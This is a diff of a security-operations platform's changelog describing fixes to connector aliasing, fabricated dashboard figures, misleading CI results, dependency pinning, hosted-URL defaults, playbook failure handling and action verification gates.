`ibm_qradar` → `qradar`. `services/fusion/alert_sink.py` and- `services/actions/executors/siem.py` already aliased exactly this pair.- - `google_chronicle` → `chronicle`- - `palo_alto_cortex` → `cortex_xdr` (whose description reads "Palo Alto- Cortex XDR incidents via the public REST API"; XSIAM is a distinct later- product and stays reachable under `cortex_xsiam`)- - `slack` → `slack_audit`, the only Slack data the platform ingests- - `syslog` → `syslog_cef`+ It now reads `GET /api/v1/mssp/portfolio` and+ `GET /api/v1/mssp/portfolio/alerts` with no sample-data fallback and no SWR+ `fallbackData` (supplying it disables revalidation, so a placeholder becomes+ what the view permanently shows). Four states, each saying which it is:+ loading; a `403` explained as "you do not manage any tenants" rather than an+ outage; a portfolio failure surfaced with its message and a retry; and an+ empty portfolio that distinguishes "this organisation manages no tenants"+ from "you were granted none" using `portfolio_wide` and `scoped_tenants`,+ because those have different fixes. The alert feed has its own states so a+ failure there does not claim the portfolio is down. Export now writes a CSV+ of the rows on screen — a real action rather than a toast.- Four denote nothing the platform ingests and are removed from the union:- `vectra_ai` (no Vectra connector exists), `teams` (a ChatOps destination,- not a source) and `custom_webhook` / `http_pull` / `kafka` (transports — the- webhook path is the tenant inbox, which keys off a template id and never- sets `connector_type`). Nothing in the tree referenced any of them;- `ConnectorType` has no consumer outside its own file.+ **ARR, risk score and analyst allocation are gone, not sourced.** There is no+ revenue, composite-risk or analyst-allocation data anywhere in this product.+ A column of nulls would still imply the measurement exists.- What this cost while it stood: an event tagged `ibm_qradar` reached no- profile and no connector, so strict mode rejected it outright and lenient- mode minted `OcsfProduct{Name: "ibm_qradar"}` — a second, parallel alert- source for the same QRadar deployment `qradar` already fed. The new Go tests- assert the two spellings produce one event (same product, class, category- and severity, with `critical` staying the fifth tier and category 2 so- `should_promote()` has no severity floor to clear), and that the fold cannot- be used to smuggle an unknown type past strict mode. A third test reads the- connector ids out of `services/connectors/app/connectors/` rather than- hardcoding them, and fails on an empty read instead of passing.+- **`/analytics/team` ranked six invented analysts by invented accuracy.**+ "Sarah Chen, 47 cases closed, 96.2% accuracy, score 945" and five more, plus+ a highlights feed of things that never happened. Nothing in the platform+ measures per-analyst performance — no route, no table, no column — so the+ sample is confined to the hosted demo via `canUseDemoData()` and everyone+ else is told plainly that the measurement does not exist yet. The aggregate+ tiles read `—` rather than dividing by zero.-- **`wet-eval.yml` reported success on eight consecutive weekly runs while- evaluating nothing.** The preflight step exited 0, every subsequent step was- `if: should_run == 'True'` and skipped, the notice step succeeded, and the- job went green. A green check that means "I did not run" is worse than a red- one: it is the only signal a reader gets and it says the opposite of the- truth. Preflight is now its own job and the run is gated on- `needs.preflight.outputs.should_run`, so with no funded key the benchmark- job reports as **skipped** — visibly distinct from success in the checks- list — and the preflight writes to the run summary that the published- numbers were not refreshed. Failing outright was the alternative and is- wrong here: a fork cannot configure the secret, and a weekly red cross- nobody can clear trains people to ignore the page. Staleness of the- published numbers is separately gated and does fail closed- (`scripts/check_scoreboard.py`, 45 days).+- **`apps/web/src/components/landing/MitreStrip.tsx` is deleted.** Its twelve+ ATT&CK tactic tiles carried unsourced coverage counts — 27 of 42 for Defense+ Evasion, 9 of 11 for Initial Access — that correspond to nothing in the+ tree. The component was imported nowhere and rendered on no route: the+ landing page composes fifteen sections and this was not one of them, so the+ caveat in its body copy was the only thing between those numbers and a+ reader, and it would have stopped being so the moment somebody mounted the+ section. Improving the disclaimer would have left the numbers in place for+ the next person to inherit. Its entry in `ALLOWED_ILLUSTRATIVE` goes with+ it; `scripts/check_mock_data_gated.py` checks that allow-list in both+ directions, so a stale exemption fails the build rather than accumulating as+ cover. The one MITRE figure the project does publish — 97.0% in+ `BenchmarkBand` — is labelled "substrate" and is unchanged.-- **The claim-gate figures gate checked every restatement of the tally except- the document making the claim.** `readme_gates.py` compared the README and- `evidence-pack.md` against the matrix rows and never compared the matrix's- own Summary block, so `docs/audit/CLAIM_TO_GATE_MATRIX.md` summarised- "GATED: 108" against 109 counted rows and every check in the repository- passed. The file even carries a counting note about this exact class of- error; it recurred because the gate written afterwards pointed outward only.- The matrix is now the first source checked, the bullet-list form its summary- uses is matched (the previous pattern needed both figures on one line and- silently matched nothing there), and three cases in- `tests/test_readme_figures_gate.py` pin it. The stale count is corrected and- the tally is **122 rows — 113 GATED, 9 PARTIAL, 0 NO GATE**, recomputed with- the script rather than typed.+- **The welcome banner quoted counts it had no source for and linked to a case+ most deployments do not have.** It advertised "26 vendors" against a registry+ of 84 and "25 named runbooks" with nothing holding either to the tree. The+ connector figure now comes from `CONNECTOR_COUNT`, which is generated from+ the connector registry and held to it by `scripts/generate_connector_count.py+ --check`; the playbook figure is gone rather than guessed, because no+ equivalent source exists. Its second call to action linked to+ `/cases/INC-RT-001`, which exists only after the demo seed has run, so on+ every other deployment the banner's own CTA was a dead link — that tip is now+ gated on demo mode, takes its href from `demoDeeplink()` and says on its face+ that it is sample data.-- **`screencast.yml` could never get past its third step.** Its- `cache-dependency-path` named `apps/web/pnpm-lock.yaml`, which does not- exist — this is a pnpm workspace with one lockfile at the root — and- `setup-node` hard-fails when the cache path matches nothing. Every other- workflow in the repo already pointed at the root lockfile; being- `workflow_dispatch`-only meant no scheduled run ever exercised it.+- **The Live Feed labelled an empty panel "Demo".** The seeded events were+ gated behind `canUseDemoData()` in an earlier pass but `statusToLabel` was+ not, so outside the hosted demo the panel rendered nothing at all under a+ "Demo" pill whose tooltip read "showing demo data" — asserting the presence+ of sample data that had just been correctly withheld. The pill now describes+ what is on screen (`Live`, `Connected`, `Connecting…`, `Reconnecting…`,+ `Offline`) and can only say `Demo` when seeded events are actually rendered,+ and the idle panel carries an empty state naming what would fill it.-- **The same commit did not build the same way twice, and one of the ways it- could build did not start.** `One real event through the real pipeline`- failed and then passed on re-run with no code change. The API container had- died at import with `AssertionError: Status code 204 must not have a- response body` from `app/api/v1/endpoints/community.py:183` — a file- byte-identical to `main`, on a branch that touched nothing under- `services/api`.+- **The fabricated-data gate could not see either of the two worst cases.**+ `scripts/check_mock_data_gated.py` recognised only mock data that announces+ itself: all three of its patterns required a `MOCK_` / `DEMO_` name *and* an+ assignment through a state setter or SWR `fallbackData`, which models one+ situation — a view that fetches and substitutes a sample when the fetch+ fails. A dataset written inline under an ordinary name, in a component with+ no fetch at all, matched nothing; and with no fetch there was no real path+ for a fallback to fall back *from*, which is the worse defect, not the+ lesser one. The gate reported "All sample-data fallbacks are gated behind+ demo mode" while both fabricated tables shipped.- Measured, from the failed run's own log: `poetry install` hit a transient- error, the Dockerfile's pip fallback took over, and it pinned- `fastapi>=0.111,<0.112` and installed 0.111.1. In the same build `fusion`'s- poetry install succeeded and took 0.141.1. One commit, two resolvers, two- answers.+ A third check looks for what makes fabricated domain data harmful rather+ than for what an author happened to call it: a module-scope array of records+ that names an entity a customer would recognise — a company, a person, a+ host, an IP, an address — *and* attaches numbers to it. Numeric keys that+ describe how something is drawn are excluded, which is what keeps it quiet:+ 93 module-scope object arrays in the console, 7 matched, and the 4 already+ behind `demoFallback()` were the mocks. It newly caught+ `MSSPDashboardView.tsx` and `TeamAnalyticsView.tsx`.- `community.py` has `from __future__ import annotations`, so its `-> None`- return annotation reaches FastAPI as the string `"None"`. FastAPI resolves- it through `ForwardRef` to `NoneType` — truthy — rather than the falsy- `None` singleton it gets without PEP 563, concludes the route returns a- body, and asserts that a 204 does not. **Every release from 0.111.0 through- 0.116.2 raises; 0.117.0 and later do not.** The declared range was- `>=0.111,<0.142`, so 29 of the 120 releases it permitted could not import- the service at all, and the fallback pinned squarely inside that band. The- earlier triage read the shape as innocent because it was checked without- PEP 563 active, which is the one condition that makes it fail.+ The reviewed-exception list is checked in **both** directions: an entry that+ no longer matches anything fails the gate, so an exemption cannot outlive the+ code it excused and become cover for whatever is written next under that+ name. One entry, `MitreStrip.tsx` — a public landing-page illustration whose+ visible copy already tells the reader the tiles are illustrative.+ `tests/test_mock_data_gate.py` covers both properties, including that filter+ lists, graph stylesheets, decorative SVG coordinates and pricing copy stay+ unflagged; a gate that cries wolf on every configuration array gets deleted,+ which is worse than the gap.- The fix is determinism rather than a widened assertion:+- **`SavedViewsBar` updated its parent while rendering.** The auto-apply of a+ default saved view ran in the render body and called `onApply`, which for+ every caller is a setState on the page component. React rejects that outright+ and makes no promise about processing the update, so the filters an analyst+ expected restored were not reliably applied. The comment described a ref-flag+ that did not exist; it was `useState` with no effect anywhere. The chip+ highlight is now derived rather than stored, and the one genuine side effect+ — handing the filters to the page — happens in an effect. The existing+ "exactly once" test could not catch this because its `onApply` was a bare+ spy that set no state; the new test uses a real parent.- - **All thirteen Python services install from a committed `poetry.lock`.**- Three had one; ten now do. Two `--no-cache` builds of one commit produce- an identical `pip freeze` (129 packages, same SHA-256), and a new- `Reproducible builds / twice` job asserts it on every change.- - **The pip fallbacks are gone** from all eight Dockerfiles that had one.- Each carried its own copy of the dependency list under a comment asking- for lockstep, and each had drifted. A build that fails is recoverable; an- image that boots on versions nothing tested is not.- - **Four services that hand-listed their dependencies in the Dockerfile**- (`honeytokens`, `purple-team`, `ueba`, `mesh`) now install from a lock- too. All four had drifted from the manifest they mirrored — `mesh` shipped- `cryptography<50` against a manifest reading `<51`.- - **The FastAPI floor is 0.117** in all thirteen manifests and every- workflow. `services/api/tests/test_fastapi_floor.py` pins the boundary and- fails on 0.116.2 with the original error; a matrix leg imports the service- at both ends of the declared range.+- **A self-hosted install handed its own users links into the maintainers'+ deployment.** Beyond the CORS and demo-credential entries above, ten shipped+ defaults resolved to the hosted host when left unconfigured, so an operator+ who never set an override sent their users somewhere else:-- **CI installed `cryptography>=41,<46` for services whose manifests required- `>=46,<51`** — two ranges with no overlap, so the version CI tested could- never be the version the image shipped. `connectors` and `osquery-tls` also- floored at `44.0.1` for CVE-2024-12797 while CI was free to install `41`.- One range, `>=46,<51`, now covers every manifest, Dockerfile and workflow,- including `packages/aisoc-cli`, whose Ed25519 plugin signatures the API- verifies. `PyJWT` was unbounded in eight workflow install paths and is now- `>=2.8,<3` everywhere; `poetry` itself was 1.7.1 in five images, 1.8.2 in- three and unpinned in two workflows, and is now `2.4.1` everywhere.+ - `getPublicSiteUrl()` (`apps/web/src/lib/site.ts`) fell back to the hosted+ origin, which is the `metadataBase` for the whole app — every canonical+ tag, Open Graph URL, JSON-LD block and sitemap entry on a self-hosted+ console pointed at another deployment. Now `http://localhost:3000`. The+ hosted brand was also carried in `DISCOVERY_KEYWORDS`, the root layout's+ OG/Twitter descriptions, its `sameAs`, and the PWA manifest description.+ - Published investigation replays built share links from a module constant+ `https://tryaisoc.com/r`, and tenant invite links had **two** independent+ hard-coded defaults — one on the endpoint, one on the provisioner — free to+ drift apart, which is the part that makes this hard to notice. Both now+ resolve through a single `console_base_url()` reading+ `CONSOLE_PUBLIC_BASE_URL`, with a documented deployment-neutral fallback.+ - Approval email defaulted to a `From:` on the hosted domain, which fails+ SPF/DKIM for anyone else. It now prefers the operator's own+ `MAILGUN_DOMAIN`.+ - `plugins/aisoc-direct/plugin.yaml` pre-filled the hosted osquery endpoint+ as the field default; `services/osquery-tls` declared a hosted+ `public_hostname` (and had no reader at all — the comment claimed a use it+ did not have).+ - The simulation-mode call to action pointed operators at docs on the hosted+ domain rather than the project's own documentation site.+ - The GitHub Action's PR comment hotlinked a badge served by the hosted+ deployment, in the same line that promises "no data leaves your CI"; the+ report card's coverage footer linked the hosted tool while its sibling+ already linked the repository.+ - `playwright.config.ts` defaulted one project to the hosted host and the+ adjacent project to `localhost` — same env var, two answers.-- **`ruff` was declared six different ways while `ruff format --check` gated- on one of them.** `services/api` permitted `<0.17.0`, `fusion` `^0.2.0`,- the published packages `>=0.3`, and the devcontainer installed it unpinned —- while CI enforces `>=0.4.4,<0.5`. A contributor installing their own service's- dev group got a ruff that reformats the tree and reds their PR with no- dependency change in the diff. All fourteen declarations now read- `>=0.4.4,<0.5`. The devcontainer also told contributors to `uv sync` against- `services/api/uv.lock`, which has never existed in this tree.+ Two admin console pages also rendered the hosted hostname as body text, and+ the demo-mode 403 told every operator "This is the public AiSOC demo at+ tryaisoc.com" regardless of where it was running.++ A new gate, `scripts/check_hosted_hostname.py`, keeps this from coming back.+ It is deliberately not "the string must not appear": the hostname stays in+ 99 files that genuinely describe the managed offering — the fly/cloudflare/+ terraform deploy configs, the marketing pages, the changelog, and two+ `uuid5` namespace seeds that are compatibility constants rather than URLs.+ It pins an exact occurrence count per path and fails in **both** directions:+ a new or grown occurrence, and an exemption that outlived the occurrence that+ justified it. A stale exemption is a standing permit for a future leak, and a+ one-directional allow-list never notices one. It resolves its repo root from+ the working directory rather than its own file location (a sibling gate did+ the latter and reported a confident OK about a tree it never opened), refuses+ a tree that fails a sentinel check, treats a zero-match scan as broken rather+ than clean, and ships a `--self-test` proving the detector separates a+ known-bad from a known-good sample and that the comparison rejects a vacuous+ pass. Covered by `tests/test_hosted_hostname_gate.py` (39 cases) and+ `.github/workflows/hosted-hostname.yml`, which runs on pull requests *and* on+ pushes to `main` so an edit made at merge time cannot slip past.- **The capability contract was not consulted on the dispatch path an agentuses.** `POST /actions` has run the contract through@@ -3019,6 +2683,29 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0reader, so the honest answer — `unverified`, with the reason — is writtenexplicitly.+- **A playbook step the engine could not run reported success.** Twelve of+ the twenty-two `StepType` members had no entry in the engine's handler+ table. The run loop answered those with `{"skipped": true}` and left the+ step's status at its `SUCCESS` default, so a playbook containing them ran+ to `COMPLETED` having done nothing it said it did. `approval` is the one+ that mattered: it is a human decision point, it appears in 14 steps across+ the shipped packs, and it passed on its own — the run continued straight+ into the action an analyst was meant to authorise. An unimplemented step+ type now fails closed with `unimplemented: true` and an error naming the+ verb, is not retried (a missing handler will still be missing next+ attempt), and halts the run under the default `on_failure: abort` while+ still honouring an explicit `continue`. A dry run reports `would_fail` for+ such a step instead of a bare `dry_run: true`.++ `apps/docs/docs/concepts/playbooks.md` had documented the safe behaviour+ all along — "recorded as `SKIPPED` … so unknown actions never silently+ succeed" — and has been corrected to describe what the code now does. The+ same page described a manual approval gate backed by+ `POST /v1/playbook-runs/{id}/approve`, where "the engine pauses on the+ condition until the field flips, then resumes". No such endpoint exists and+ the engine has no pause or resume; that section now says so and points at+ the actions service, which does hold an action for an analyst.+- **A playbook run reported COMPLETED when its steps had failed.**`on_failure: continue` decides whether the run keeps going; it was alsodeciding what the run was called afterwards. 346 of the 380 steps in the@@ -3027,6 +2714,36 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0FAILED, with an error naming how many and which, and the author's`continue` policy still governs whether the remaining steps are attempted.+- **The NL drafter rewrote steps to make its own output pass lint.** Because+ the schema declared 9 of 22 step types, `_collapse_step_types_for_schema`+ mapped the other 13 onto a "nearest neighbour" — `run_av_scan` and+ `revoke_session` both became `investigate`, `approval` became `condition` —+ keeping the original in `params.original_type`. The playbook that shipped+ said it would investigate when the author had asked to disable an account,+ and an approval gate came out as an ungated branch. The projection and its+ second validation pass are removed; the schema covers the full range, so a+ validation failure is now a real failure. The drafter's system prompt also+ restated the vocabulary by hand and had drifted from it — offering+ `webhook` as a trigger, which no validator in the repo accepts, and capping+ `retry_max` at 5 against a model allowing 25 — and is now generated from+ `StepType` and `bounds.py`.++- **The playbook lint job validated two files and reported "2/2 passed".**+ `scripts/lint_playbooks.py` claimed in its own docstring to check "any+ `*.playbook.json` files anywhere in the repo" and only ever scanned the two+ under `services/agents/data/playbooks/`. Pointed at the whole tree, 32 of+ the 62 playbooks in `playbooks/packs/v1/` did not match the published+ schema. It now scans recursively, treats finding no files as a broken scan+ rather than a clean bill of health, and no longer crashes in its own error+ path when a file passed on argv sits outside the repo.++- **20 shipped playbooks carried a duplicated tag.**+ `scripts/generate_playbooks.py` emitted `[category, *tags]` where several+ categories already lead their tag list with the category name, producing+ e.g. `["supply-chain", "supply-chain", "npm", …]`. Fixed in the generator,+ which is what the reproducibility gate diffs, rather than in the 20+ generated files.+- **`packages/types/src/playbook.ts` published a fourth playbookvocabulary.** A 28-member `ActionType` union (`notify_email`,`create_ticket_jira`, `collect_forensics`, `run_query_splunk`, …) matching@@ -3040,1152 +2757,1350 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0`RunStatus` and the dispatch report, and `check_playbook_schema_parity.py`now compares the published union against the engine's in both directions.-- **`false_positive_rate` and `escalation_rate` published `0.0` on an empty- denominator.** `x / n if n > 0 else 0.0` renders an undefined ratio as a- measured zero, and for these two the zero is flattering: "0% false- positives" and "0% escalated" are the two best numbers on the SOC metrics- page, and a tenant that had resolved nothing and gated nothing scored both.- This is the same defect as the MTTD/MTTR/MTTC means that shipped a NULL- average as a confident `0.0`, one step removed, and it takes the same fix:- `/metrics/soc` now reports `false_positive_rate_sample_count` and- `escalation_rate_sample_count` alongside the rates, and the console renders- "not measured · no resolved alerts in 7d" rather than a percentage. The- fields are additive and optional, so a console running against an older API- keeps its previous behaviour rather than blanking the tiles — a paired test- holds that direction too, because "blank everything" would be a worse- regression than the bug.--- **An event ingested under a connector type with no profile became an alert- with no host, no user and no source IP.** `_canonicalAliases` in- `services/ingest/internal/normalizer/normalizer.go` already resolved- `actor.user.name`, `device.name` and `src_endpoint.ip` from the spellings- connectors actually use, but the pass that applied it was gated behind the- canonical-envelope branch. Anything reaching the generic fallback — every- push through `/v1/ingest/batch`, which sends a flat payload and so never- matches that branch — resolved `title` and `external_id` and nothing else.-- Identity is what the rest of the platform is built on: entity extraction,- the Investigation Rail's pivots, the `{tenant}:{entity}:{tactic}`- correlation key, the entity graph and UEBA all key off those three fields.- An alert still appeared, which is what made it look like it had worked, but- it carried no entity chips and correlated into the `unknown` bucket. The- alias pass now runs for every profile and fills only destinations the field- map left empty, so a vendor profile's own mapping still wins.-- Three defects in the same family, found while fixing it:-- - **A nested vendor object was written whole into a scalar identity slot.**- Fourteen of the 84 registered connectors emit `actor`, and four emit it as- the vendor's object rather than a name, so `actor.user.name` became a map- — an entity that renders as a map and correlates as garbage. Identity- resolution now takes strings only and digs one level (`actor.name`,- `actor.displayName`, `user.name`) for the scalar underneath.- - **A vendor profile's severity ladder is spelled the way its vendor spells- it.** `crowdstrike_falcon`'s is capitalised, and a pushed payload is- whatever the caller wrote, so a lowercase `high` scored 0 and rendered as- Unknown. The shared five-tier ladder is consulted when the profile's own- has no entry for the value; `critical` stays its own tier.- - **A vendor profile left `message` empty for a pushed payload**, because it- maps its vendor's field name, so the promoter generated- "Security Finding from <product>" over the title the caller actually sent.+- **The agent recommended evidence acquisition the platform could not+ perform.** `capture_forensics` was an `ActionType` with no executor+ anywhere, and `services/agents/app/agents/investigation_agent.py` proposes+ it by name whenever an investigation reaches the C2 or exfiltration stage,+ with `requires_approval=True`. So on the most serious class of incident the+ product raised an approval for forensic acquisition and failed with `No+ executor found for action type` when an analyst approved it — a control+ reachable from a recommendation and dead on approval.-- **`connector_type` values the product advertises did not reach their- profile.** The connectors service declares `crowdstrike` and `okta`; the- ingest profiles were keyed `crowdstrike_falcon` and `okta_system_log`. The- README's own push example used `crowdstrike`, so the example a new user- copies missed the lookup, fell to the generic fallback and lost its vendor- attribution — 80 of the 84 declared connectors had no profile entry under- the name they are registered with.+ It now has a Microsoft Defender arm that collects an investigation package,+ declared LOW impact and **analyst-gated**. Analyst rather than automatic for+ the reason that separated `suppress_alert` from `update_alert_disposition`+ at an identical impact tier: the question is what bounds the verb. The+ writeback is bounded by a disposition mapping that refuses to close a+ confirmed true positive; this verb has no bound at all — it collects+ whatever the vendor package contains from whichever host it is pointed at,+ and the result is a copy of somebody's endpoint in a vendor cloud behind a+ download URI. Pointed at the wrong host that is a data-handling event nobody+ can take back.- A `connectorTypeAliases` map resolves both spellings rather than renaming- either. The longer names are load-bearing elsewhere — `packages/types`'- `ConnectorType` union, the CLI's default, the graph extractor, the actions- credential resolver — so renaming one side would have broken the other.+ Only Defender, deliberately. MDE's investigation package is a whole-host+ artefact bundle whose completion state and download URI are both readable.+ CrowdStrike RTR's `get` retrieves one *named file*, which is a different+ verb with a different blast radius; wiring it here would make one capability+ mean two things depending on the tenant's vendor. Without MDE credentials+ the executor simulates and says which credentials would enable it, rather+ than reporting an acquisition that did not happen.-- **Two registered connectors reached no normalization path at all.**- `auditd` emitted `source` without `raw_event`, so it failed the canonical- envelope check and lost the host it carries; it now emits both.- `email_inbox` returns the message envelope shaped for- `email-forwarded.yaml`, so it matched neither branch and strict mode- rejected it outright; it now has a profile mirroring that template, the way- `ai_runtime` mirrors `ai-runtime.yaml`.-- **The dashboard published two numbers that contradicted the database, and a- third surface that contradicted both.** A live acceptance pass measured a- tenant with two cases closed in the last seven days at a 90-minute mean.- `/mssp/portfolio` reported that correctly as 1.5h. The dashboard reported- **CASES CLOSED (7D) 0** and **MTTR 0.0 hrs**, directly above its own- "CASES OPENED (7D) 2".+ The probe is real and reads the package back. Acquisition is asynchronous,+ so the vendor's response is emphatically not the confirmation — it says a+ machine action was queued. `Succeeded` **and** a retrievable download URI is+ VERIFIED; `Failed` / `TimeOut` / `Cancelled` is FAILED, which is the alarm+ worth having; `Pending` / `InProgress` is UNVERIFIED, because not finished+ is not the same fact as not happening. Reading the status alone would+ certify a collection that finished with nothing to download.- The portfolio was right and the dashboard was wrong, for two separate- reasons that each read plausibly in isolation:+- **A delivered ChatOps prompt nobody had answered would have reported as a+ completed action.** `ChatOpsVerifyExecutor` worked, sat in+ `EXECUTOR_REGISTRY`, and no live-action adapter reached it, so the only+ route to it was the legacy `ActionType` endpoint — which has no capability+ contract, no approval matrix and no autonomy policy in front of it. Leaving+ it unreachable was the right call at the time: it returns+ `ActionStatus.RUNNING` to mean "the prompt went out, nobody has answered",+ and `_to_live_status` folded everything that was not `FAILED` or a+ simulation into `SUCCEEDED`.- - `cases_closed_7d` filtered `status = 'resolved' AND updated_at >= …`.- `resolved` is an *intermediate* state — the lifecycle's terminal one is- `closed`, and it is that transition which writes `closed_at` — so a case- that completed its lifecycle was invisible to the count. `updated_at` was- also the wrong clock: it moves whenever anyone edits the case, so an old- case gets a comment and re-enters the window while a closed one- eventually leaves it.- - `mttr_hours` averaged `alerts.resolved_at - alerts.created_at`, a- different lifecycle on a different table from the one the portfolio- measures. Nothing in ordinary case work writes that column, so the- average was over zero rows and `float(None or 0.0)` published the empty- result as a confident `0.0`.+ The fix is the missing state rather than the exemption.+ `LiveActionStatus.AWAITING_COMPLETION` means the vendor was touched and the+ outcome is not yet known — the opposite of `PENDING_APPROVAL`, which means+ nothing ran because policy wants a human first. Post-action verification+ does not run against it, since there is no effect to read back yet. The same+ state is what evidence acquisition needed, so one addition covers both+ executors that had no honest result to return.- Both now come from `app/services/resolution_time.py`, which owns the window- and the SQL expression that *both* surfaces use, so the two cannot quote- different MTTRs for one tenant again. The portfolio keeps computing its- figure inside one bound cross-tenant statement — one round trip for the- whole portfolio — and interpolates the shared fragments rather than calling- the shared function; a test asserts it still does, and the load-bearing- assertion is that the two surfaces produce the *same* number from the same- rows rather than that each matches a hardcoded 90.0.+ Registered against Slack and Teams, LOW impact and analyst-gated. Not+ automatic like `notify` at the same impact, because `notify` addresses a SOC+ channel and this addresses the account under investigation: sent+ automatically on a true positive it tells an attacker they have been+ detected, and the verb cannot know whether the person it is asking is the+ suspect. Its dry run simulates in the adapter rather than stripping+ credentials — the base adapter's strip-and-fall-through would turn a preview+ into a failure for an executor that has no simulation branch by design.- The third surface was the `MTTR` tile in the Security Operations Center- strip, reading `alerts.mttr` off `/metrics/dashboard` — the same dead column,- and rendered with an `m` suffix although the field is hours, so a real- 1.5-hour MTTR would have displayed as "1.5m" had it ever been non-zero.+- **Nothing compared what the agent recommends against what the platform can+ execute.** `scripts/check_action_contract.py` compared four registries+ inside the actions service and could not see a fifth: the verbs+ `services/agents` puts in front of an analyst. It now parses every+ `ProposedAction(action_type=...)` call site — including the conditional form+ `attack_path_agent` uses — and fails when a proposed verb has no executor,+ naming the file and line. Run against the tree before this change it reports+ `capture_forensics` at `investigation_agent.py:157`.- Rather than make the three means nullable — a breaking response change for- every existing client — each now travels with the number of rows it was- averaged over (`mttd_sample_count`, `mttr_sample_count`,- `mttc_sample_count`, and `alerts.mttr_sample_count`). A mean over zero rows- is unmeasured, not zero, and the tiles say "not measured" instead of- claiming an unbeatable response time for a tenant that has resolved nothing.- The fields are additive: a client that ignores them sees what it saw before.+ Both exemption lists in that gate are now empty, and+ `test_capability_reachability.py` asserts that emptiness directly, so a verb+ can only be exempted by editing a reviewable assertion rather than appending+ to a list.-- **The entity-risk queue sent a tenant slug where a UUID was required, then- blamed a healthy service for the rejection.** `apps/web/next.config.js`- inlined `NEXT_PUBLIC_TENANT_ID` with a fallback of the literal string- `'default'`. Three tenant-scoped surfaces pass that value as a query- parameter to routes typed `tenant_id: UUID` — `/fusion/entity-risk/*`,- `/honeytokens/*` and `/business-context/*` — and all three answered 422.+- **Two response verbs worked and could not be reached.** `ack_alert` and+ `suppress_alert` have had Splunk, Elastic and Defender arms since Phase 3.3+ and were wired into `EXECUTOR_REGISTRY` — and appeared in none of the three+ registries that make a verb dispatchable: the live-action adapters, the+ capability contracts, or the capability vocabulary. Governed dispatch+ answered `executor_not_found` for code that ran, which reads as a+ misconfigured integration rather than a capability nobody connected. This is+ the mirror image of a defect already fixed here in the other direction,+ where eleven capabilities had a contract and no executor at all — including+ `unisolate_host`, so the rollback for the most disruptive action in the+ product resolved to nothing.- Two things kept it hidden. `lib/api.ts` carries the correct canonical UUID- as its own fallback, so reading it suggested the console was already doing- the right thing; Next's inlining runs first, which made that fallback- unreachable code. And the slug is not a dependable handle either: migration- 001 seeds tenant `…0001` with slug `default` and the demo seed renames that- slug to `demo`, so on a seeded install the literal matched neither the id- nor the slug. The entity-risk client also read the build-time constant- rather than `getActiveTenantId()`, so the queue ignored both the logged-in- user and the tenant switcher; it now resolves the tenant the same way- `request()` resolves the `X-Tenant-Id` header.+ Both verbs now have six vendor adapters (one per vendor arm), a capability+ contract, an entry in the vocabulary on both sides of the mirror, and a+ verification probe. Each adapter pins `alert_vendor` so a tenant with two+ SIEMs configured does not have the target chosen by credential ordering; the+ pin is still checked against the credentials, so pinning a vendor the tenant+ has not configured simulates rather than claiming an arm that could not have+ run.- `components/fim/FimDashboard.tsx` is deliberately pinned to `'default'`- instead: `services/osquery-tls` types its tenant as a plain string and- enrols nodes under that literal, so this one surface is keyed on that- service's own convention and reading the shared UUID here would match no- enrolled node. The two tenancy models still need reconciling in- osquery-tls.+ `ack_alert` is LOW impact and automatic: it marks a finding in-progress and+ owned by AiSOC, removing nothing from anyone's view, and two analysts+ working the same notable is the cost of not doing it. `suppress_alert` is+ LOW impact and **analyst-gated**, because what makes the disposition+ writeback safe to automate is the mapping that refuses to close a confirmed+ true positive, and this verb has no such bound — it closes whatever it is+ pointed at, on the caller's say-so.- With the request failing, the queue rendered five invented entities —- `[email protected]`, `updates.evil-cdn.xyz`, "last seen 5 months ago" on a- stack that had been up for an hour. Above them, and *outside* the amber- banner that disclosed them, four cards read "Contributing alerts 26" and- "Alert → Incident 13.0:1" off the same sample payload. A disclosure that- covers the rows and not the headline numbers is decorative, so the banner- moved above the cards and every card now reads "not measured" when its- request fails; the derived alert-to-incident ratio is withheld whenever the- counts it divides are unknown.+- **A one-directional gate would have missed all of it.** `check_action_contract.py`+ now compares the four registries a verb needs in **both** directions, and+ `test_capability_reachability.py` injects drift in each direction and asserts+ the gate names it. The dominant failure shape in this repository is a check+ that compares A against B and never B against A, so drift in the direction+ things actually change passes while the check prints OK — the graph-schema+ check reported OK with 17 node labels declared and 28 implemented.- The banner also named the wrong subsystem. It said "Fusion service- unreachable" while fusion was healthy and the actual failure was a 422 —- a diagnosis that sends an operator to debug something that is not broken,- which is worse than none. It is now derived from the response status: a 422- reads as a console bug rather than an outage, a 5xx names fusion because- that is when fusion is genuinely at fault, status 0 reads as unreachable,- and an unrecognised failure stays vague rather than guessing. Every variant- says the queue is *unknown* rather than empty.+ Running it found three more mismatches beyond the two above. `create_ticket`+ and `notify` were registered, contracted and dispatchable across four+ vendors while absent from `KNOWN_CAPABILITIES` and the connectors+ `Capability` enum, so the registry logged `capability_unknown` for them at+ every startup; both are now in the vocabulary. `chatops_verify` has an+ executor no adapter reaches, and three `ActionType` members+ (`capture_forensics`, `add_ioc_to_blocklist`, `run_playbook`) have no+ executor at all — the first of those is proposed by name by the+ investigation agent on the C2/exfiltration path, so the product recommends+ evidence acquisition it cannot perform. Those four are recorded in the+ gate's exemption lists with the reason each is open. Both lists are+ ratchets: an entry that gains an implementation and is not removed fails the+ build.-- **`/alerts/[id]` rendered a confidence of 21 as `2100%`, and negative- evidence as `+-0.30`.** Confidence reaches the console on two keys at two- scales: the API surfaces `confidence` as an integer 0-100, while fusion's- `confidence_score` is the raw [0.0, 1.0] float the band was derived from.- `normalizeAlert` accepted whichever key appeared first and passed it- through unchanged, so `Alert.confidenceScore` meant one thing or the other- depending on the payload — and its consumers guessed differently.- `AlertDetailView` multiplied by 100; `AttackStory`, on the same page,- divided and rendered "21/100". Each was right for one payload shape, and- each had a passing test because its own mock used the scale it assumed.+- **The disposition writeback now verifies itself against the vendor.** It+ shipped declaring no verification probe, which was honest — a declared probe+ that does not run is the defect the contract gate exists to catch — but the+ standing rule is that an unverifiable action is not an autonomous one, and+ this action is automatic. The probe re-reads the finding and compares its+ state against the plan re-derived from the same verdict through the same+ `plan_writeback` the executor used, rather than being told separately what+ to expect. Splunk ES reads back the `incident_review` collection (a new+ `SplunkClient.get_notable_event_state`) and confirms status `5` on a close,+ or status `1` *and* the owner AiSOC set on an escalation, since status alone+ cannot distinguish a notable an analyst had already picked up. QRadar+ confirms `CLOSED` through `get_offense`, whose docstring had claimed to be+ the writeback probe since it was written and had no 